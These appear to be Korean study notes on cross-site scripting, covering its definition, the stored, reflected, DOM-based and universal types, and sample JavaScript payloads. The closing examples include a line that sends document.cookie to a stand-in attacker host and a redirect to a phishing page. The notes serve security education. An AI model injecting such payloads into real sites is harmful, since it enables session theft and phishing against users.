공격자가 웹 리소스에 악성 스크립트를 삽입하여, 이를 방문하는 이용자의 웹 브라우저에서 해당 스크립트를 실행시키는 공격

<aside>

예시

드림핵 웹 페이지에서 XSS 취약점이 존재하면, 이용자가 악성 스크립트가 포함된 페이지를 방문하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션이 탈취될 수 있다.

</aside>

XSS 발생 예시와 종류

XSS 공격은 주로 이용자가 삽입한 내용을 출력하는 기능에서 발생함.

클라이언트(웹 브라우저)는 HTTP 형식으로 웹 서버에 리소스를 요청하고 서버로부터 받은 응답( = HTML, CSS, JS 등의 웹 리소스)을 시각화하여 이용자에게 보여줌. 이때 XSS 취약점이 존재하는 경우, 악의적인 코드가 삽입된 HTML, CSS, JS와 같은 리소스가 이용자에게 전송되어, 변조된 페이지를 보게 하거나 해당 스크립트를 강제로 실행시킬 수 있음.

XSS의 발생 형태에 따른 종류

종류 설명
Stored XSS XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
Reflected XSS XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
DOM-based XSS XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS
Universal XSS 클라이언트의 브라우저 or 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

주로 발생하는 XSS

XSS 스크립트 예시

⇒ 따라서 공격자는 자바스크립트를 통해 이용자에게 보여지는 웹 페이지를 조작하거 웹 브라우저의 위치를 임의의 주소로 변경할 수 있음.

자바스크립트를 이용한 XSS 공격 코드 예시

<script>
alert("hello"); // "hello" 문자열 alert 실행
document.cookie; // 현재 페이지의 쿠키(return type: string)
alert(document.cookie); // 현재 페이지의 쿠키를 인자로 가진 alert 실행
document.cookie = "name=test;";
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
<script>
document; // 이용자의 페이지 정보에 접근
document.write("Hacked By Dreamhack!"); // 이용자의 페이지에 데이터를 삽입
</script>
<scrpit>
location.href = "http://hacker.dreamhack.io/phishing"; // 이용자의 위치를 변경 --> 피싱 공격 등으로 사용됨
window.open("http://hacker.dreamhack.io/") // 새 창 열기
</script>